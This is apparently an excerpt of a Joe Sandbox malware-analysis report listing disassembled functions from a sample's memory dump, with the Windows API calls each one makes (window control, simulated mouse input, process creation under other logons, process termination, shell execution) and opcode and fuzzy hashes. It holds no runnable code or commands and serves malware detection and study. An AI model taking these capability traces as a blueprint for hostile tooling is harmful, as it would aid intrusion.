EnableWindow.USER32(?,00000000), ref: 01068272
ShowWindow.USER32(FFFFFFFF,00000000), ref: 010682D1
ShowWindow.USER32(?,00000004), ref: 010682E5
EnableWindow.USER32(?,00000001), ref: 0106830B
SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 0106832F

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: 939b55ca83048ae0befaa9515c43db00b4441fe11bdd575178f162aa8b62ffb7
Instruction ID: 54e64c139bba0a142953740dc92a6add78b4eed3eb48e958ab5c07680367ec67
Opcode Fuzzy Hash: 939b55ca83048ae0befaa9515c43db00b4441fe11bdd575178f162aa8b62ffb7
Instruction Fuzzy Hash: 6441B634601745AFEB62CF19C989BE47FE4FB0A714F1881EAE6D84F262C336A441CB50

Function 010522DA Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,00000000), ref: 010522E8

Part of subcall function 0104E4EC: GetWindowRect.USER32(?,?), ref: 0104E504

GetDesktopWindow.USER32 ref: 01052312
GetWindowRect.USER32(00000000), ref: 01052319
mouse_event.USER32(00008001,?,?,00000002,00000002), ref: 01052355
GetCursorPos.USER32(?), ref: 01052381
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 010523DF

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForeground
String ID:
API String ID: 2387181109-0
Opcode ID: 542bb78cffd5feabcf9aada93cdfc9aff8896332d0c6ee7281101e72126dc520
Instruction ID: fb712ea66b6ff7a061fb2e3469481fd9ea4cc56bafbdea92a209e2d1a8353333
Opcode Fuzzy Hash: 542bb78cffd5feabcf9aada93cdfc9aff8896332d0c6ee7281101e72126dc520
Instruction Fuzzy Hash: 6E31C072504305AFD760DF58C848B9BBBE9FF88314F004A1AF9C597191DB35EA08CB92

Function 01034C7D Relevance: 9.1, APIs: 6, Instructions: 87windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 01034C95
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 01034CB2
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 01034CEA
_wcslen.LIBCMT ref: 01034D08
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 01034D10
_wcsstr.LIBVCRUNTIME ref: 01034D1A

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcslen_wcsstr
String ID:
API String ID: 72514467-0
Opcode ID: 19af0aa92b89f22334d7bc7c1f184227a69a802044d4649088583bbdf7764958
Instruction ID: fc479a51ffd4a766ff670bf78b32f8ef197dc03479a174e6cf9ebbb90817b806
Opcode Fuzzy Hash: 19af0aa92b89f22334d7bc7c1f184227a69a802044d4649088583bbdf7764958
Instruction Fuzzy Hash: F52129316042047BFB656B3AAC49E7F7BDCDF89750F008069F845CE192DAB5DC0097A0

Function 0104581E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 336comCOMMON

Download Yara Rule

APIs

Part of subcall function 00FD3AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00FD3A97,?,?,00FD2E7F,?,?,?,00000000), ref: 00FD3AC2

_wcslen.LIBCMT ref: 0104587B
CoInitialize.OLE32(00000000), ref: 01045995
CoCreateInstance.OLE32(0106FCF8,00000000,00000001,0106FB68,?), ref: 010459AE
CoUninitialize.OLE32 ref: 010459CC

Strings

.lnk, xrefs: 01045876, 010458C1, 01045985

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize_wcslen
String ID: .lnk
API String ID: 3172280962-24824748
Opcode ID: ff8d6d51fd2cdf5023cbf429a1e52b7a3de96c9b9dd12fde445c47ae2991367d
Instruction ID: ddfc788cf2ff8b5001fb792ebe2b5688c90250e6728dfbb9a3bab24246383dcf
Opcode Fuzzy Hash: ff8d6d51fd2cdf5023cbf429a1e52b7a3de96c9b9dd12fde445c47ae2991367d
Instruction Fuzzy Hash: 48D156B56083019FC714DF19C880A2ABBE6FF89710F1449ADF9899B361DB35EC45CB92

Function 0103175D Relevance: 9.1, APIs: 6, Instructions: 68memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 01030FB4: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 01030FCA
Part of subcall function 01030FB4: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 01030FD6
Part of subcall function 01030FB4: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 01030FE5
Part of subcall function 01030FB4: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 01030FEC
Part of subcall function 01030FB4: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 01031002

GetLengthSid.ADVAPI32(?,00000000,01031335), ref: 010317AE
GetProcessHeap.KERNEL32(00000008,00000000), ref: 010317BA
HeapAlloc.KERNEL32(00000000), ref: 010317C1
CopySid.ADVAPI32(00000000,00000000,?), ref: 010317DA
GetProcessHeap.KERNEL32(00000000,00000000,01031335), ref: 010317EE
HeapFree.KERNEL32(00000000), ref: 010317F5

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: 80b8eae80b52a6c8674bd4fd3173df2fa50cc5790254e11ccd723589797f8b2e
Instruction ID: 558bc568c3ddf808af11b61e11b2dedbb70d8004c63ab96f5a7dcd02251b1634
Opcode Fuzzy Hash: 80b8eae80b52a6c8674bd4fd3173df2fa50cc5790254e11ccd723589797f8b2e
Instruction Fuzzy Hash: 6111AC31500205EFEB219FA8CD48BAE7BFDFB8A255F184098F5C197210C73AA944CB60

Function 010314CE Relevance: 9.1, APIs: 6, Instructions: 64processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 010314FF
OpenProcessToken.ADVAPI32(00000000), ref: 01031506
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 01031515
CloseHandle.KERNEL32(00000004), ref: 01031520
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 0103154F
DestroyEnvironmentBlock.USERENV(00000000), ref: 01031563

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: 13d023494e00224705a1685ab9a680c78ef5c1f76226a1bcfafeb414c2a6b1a1
Instruction ID: f3e68c806847c65b5716ce16324900978a80f54c7a13ffb0cfa153ca8e73e3e3
Opcode Fuzzy Hash: 13d023494e00224705a1685ab9a680c78ef5c1f76226a1bcfafeb414c2a6b1a1
Instruction Fuzzy Hash: 71112972500249EBEF218F98DE49BDE7BADFF49744F044055FA85A20A0C37A8E61DB60

Function 00FF3382 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00FF3379,00FF2FE5), ref: 00FF3390
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00FF339E
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00FF33B7
SetLastError.KERNEL32(00000000,?,00FF3379,00FF2FE5), ref: 00FF3409

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 1d49f88bd306c2eb70c10f606f222c53a623832f118e850cfde7228e63dabcdb
Instruction ID: 9692ba7b59d1561f7dc7af28b5902b93cd4b8a4b4edde3b75feae4592cf539e4
Opcode Fuzzy Hash: 1d49f88bd306c2eb70c10f606f222c53a623832f118e850cfde7228e63dabcdb
Instruction Fuzzy Hash: 5D012433A083297EBA3566747D99A773A94EF463B9B200229F760802F4EF1B4E117244

Function 01002D74 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,01005686,01013CD6,?,00000000,?,01005B6A,?,?,?,?,?,00FFE6D1,?,01098A48), ref: 01002D78
_free.LIBCMT ref: 01002DAB
_free.LIBCMT ref: 01002DD3
SetLastError.KERNEL32(00000000,?,?,?,?,00FFE6D1,?,01098A48,00000010,00FD4F4A,?,?,00000000,01013CD6), ref: 01002DE0
SetLastError.KERNEL32(00000000,?,?,?,?,00FFE6D1,?,01098A48,00000010,00FD4F4A,?,?,00000000,01013CD6), ref: 01002DEC
_abort.LIBCMT ref: 01002DF2

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 12a32c8aef166174ad8a3f15ebaf6cb1ee1c2c6879bf9f284002d0c477e37dca
Instruction ID: ab43fa3fc45d84008193599a5e874e7cda03b1ca8a7636f5b9baa96acc868ffb
Opcode Fuzzy Hash: 12a32c8aef166174ad8a3f15ebaf6cb1ee1c2c6879bf9f284002d0c477e37dca
Instruction Fuzzy Hash: 74F02832508A022BF6633238BC0CE9E2999BFD26A0F25041AF9E4D61D4EF298C018360

Function 01068A24 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 00FE9639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00FE9693
Part of subcall function 00FE9639: SelectObject.GDI32(?,00000000), ref: 00FE96A2
Part of subcall function 00FE9639: BeginPath.GDI32(?), ref: 00FE96B9
Part of subcall function 00FE9639: SelectObject.GDI32(?,00000000), ref: 00FE96E2

MoveToEx.GDI32(?,-00000002,00000000,00000000), ref: 01068A4E
LineTo.GDI32(?,00000003,00000000), ref: 01068A62
MoveToEx.GDI32(?,00000000,-00000002,00000000), ref: 01068A70
LineTo.GDI32(?,00000000,00000003), ref: 01068A80
EndPath.GDI32(?), ref: 01068A90
StrokePath.GDI32(?), ref: 01068AA0

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: e2c2d96fb0feab8e0e358713395c2a26bcca0d28bc69b22b2dab7d9cc41f6b0e
Instruction ID: 3480b82e0694cb24b77229cd34e5b4cbea4706829f4cbea44fd5649c4430f7c8
Opcode Fuzzy Hash: e2c2d96fb0feab8e0e358713395c2a26bcca0d28bc69b22b2dab7d9cc41f6b0e
Instruction Fuzzy Hash: 5D110C76000108BFFF119F94DC48E9A7FACEB09350F008052FA9599164C7769D55DB60

Function 010351FD Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 01035218
GetDeviceCaps.GDI32(00000000,00000058), ref: 01035229
GetDeviceCaps.GDI32(00000000,0000005A), ref: 01035230
ReleaseDC.USER32(00000000,00000000), ref: 01035238
MulDiv.KERNEL32(000009EC,?,00000000), ref: 0103524F
MulDiv.KERNEL32(000009EC,00000001,?), ref: 01035261

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: cd87afcb1a6d0b765d39cab5a63217742668fd722c4a774edd683a0a66a4d7a7
Instruction ID: 68249d87751a3c9c797a24c7ff949f1577691710a509bda62e2230c038e9af23
Opcode Fuzzy Hash: cd87afcb1a6d0b765d39cab5a63217742668fd722c4a774edd683a0a66a4d7a7
Instruction Fuzzy Hash: B601A275E00719BBFB109BE59D49E4EBFB8EF49351F044066FA85AB290D6719C00CFA0

Function 00FD1BC3 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 00FD1BF4
MapVirtualKeyW.USER32(00000010,00000000), ref: 00FD1BFC
MapVirtualKeyW.USER32(000000A0,00000000), ref: 00FD1C07
MapVirtualKeyW.USER32(000000A1,00000000), ref: 00FD1C12
MapVirtualKeyW.USER32(00000011,00000000), ref: 00FD1C1A
MapVirtualKeyW.USER32(00000012,00000000), ref: 00FD1C22

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: d545b0fbb7c29e11de79f1be4b4f12215da61d8c3b6879725a5f97f67f062afe
Instruction ID: 559cefd6f6aa8e7e9fd627a210b00ced7d268c84d5319b4227cddb4e9296aa32
Opcode Fuzzy Hash: d545b0fbb7c29e11de79f1be4b4f12215da61d8c3b6879725a5f97f67f062afe
Instruction Fuzzy Hash: B60144B0902B5ABDE3008F6A8C85A52FEA8FF19354F00411BA15C4BA42C7B5A864CBE5

Function 0103EB20 Relevance: 9.0, APIs: 6, Instructions: 42windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 0103EB30
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 0103EB46
GetWindowThreadProcessId.USER32(?,?), ref: 0103EB55
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0103EB64
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0103EB6E
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0103EB75

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 62db7f1c7552a53eaeb4e56a77ec4cc1e32e16e34acf467a695ec815c96b4c51
Instruction ID: 3220390c6783093f670d22fbef60852efecbfe5e9880a61d94b404f8aad2f36e
Opcode Fuzzy Hash: 62db7f1c7552a53eaeb4e56a77ec4cc1e32e16e34acf467a695ec815c96b4c51
Instruction Fuzzy Hash: DDF01D72140158BBE63166529D0DEAB3A7CEFCAB11F000158F682D509496A96A0187B5

Function 01027439 Relevance: 9.0, APIs: 6, Instructions: 37windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?), ref: 01027452
SendMessageW.USER32(?,00001328,00000000,?), ref: 01027469
GetWindowDC.USER32(?), ref: 01027475
GetPixel.GDI32(00000000,?,?), ref: 01027484
ReleaseDC.USER32(?,00000000), ref: 01027496
GetSysColor.USER32(00000005), ref: 010274B0

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ClientColorMessagePixelRectReleaseSendWindow
String ID:
API String ID: 272304278-0
Opcode ID: f8433fc801ba9806f3fc7422b6a45fe0f4e63d725bf7e4c4ab8550fe76cc4c62
Instruction ID: d1ea2c752d4f5a9b1daaeae92d9e41f170d3836cb2c0f5a8b9be7c4a552164da
Opcode Fuzzy Hash: f8433fc801ba9806f3fc7422b6a45fe0f4e63d725bf7e4c4ab8550fe76cc4c62
Instruction Fuzzy Hash: A2018B32400215EFEB615FA4DD08BAA7BB5FB08311F504060F995A21A1CF362E41AB50

Function 01031874 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 0103187F
UnloadUserProfile.USERENV(?,?), ref: 0103188B
CloseHandle.KERNEL32(?), ref: 01031894
CloseHandle.KERNEL32(?), ref: 0103189C
GetProcessHeap.KERNEL32(00000000,?), ref: 010318A5
HeapFree.KERNEL32(00000000), ref: 010318AC

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: 2e3ae3694011864b14601f1f5bc6973858154083c3605309392da687ffe0bff8
Instruction ID: cf7bafdbbb6c3cc3c6b2cd74de9075459d38d79affe57994d5bd46a60b3307ef
Opcode Fuzzy Hash: 2e3ae3694011864b14601f1f5bc6973858154083c3605309392da687ffe0bff8
Instruction Fuzzy Hash: AEE0ED36004501FBEB116FA2EE0C905BF39FF4A7227108221F2A585078CB375420DB60

Function 0103C5D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 191windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00FD7620: _wcslen.LIBCMT ref: 00FD7625

GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0103C6EE
_wcslen.LIBCMT ref: 0103C735
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0103C79C
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 0103C7CA

Strings

0, xrefs: 0103C6AF

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ItemMenu$Info_wcslen$Default
String ID: 0
API String ID: 1227352736-4108050209
Opcode ID: 84899cf4a87f43f3381f64eb4a409ab2403aa97f1544d4f91f566822864e0685
Instruction ID: 8a678475b35cdc1f0422fa41b00895a33975a406a59c9ad98296ecc964fdd0ca
Opcode Fuzzy Hash: 84899cf4a87f43f3381f64eb4a409ab2403aa97f1544d4f91f566822864e0685
Instruction Fuzzy Hash: 6051C2716043009BF7969E28CE45A6B7BECBFC9310F04096EFAD5E2191DB74D904D752

Function 0105AD64 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(0000003C), ref: 0105AEA3

Part of subcall function 00FD7620: _wcslen.LIBCMT ref: 00FD7625

GetProcessId.KERNEL32(00000000), ref: 0105AF38
CloseHandle.KERNEL32(00000000), ref: 0105AF67

Strings

@, xrefs: 0105AE72
<, xrefs: 0105AE6B

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: CloseExecuteHandleProcessShell_wcslen
String ID: <$@
API String ID: 146682121-1426351568
Opcode ID: f42e36b5f613d69474061949bdec2a3424aeb0213d6f1204c666233367131f43
Instruction ID: 2bc1446f029050c4df87eb08fd289dd321cb5bb1cd8ac783c9d7caf5817d01d4
Opcode Fuzzy Hash: f42e36b5f613d69474061949bdec2a3424aeb0213d6f1204c666233367131f43
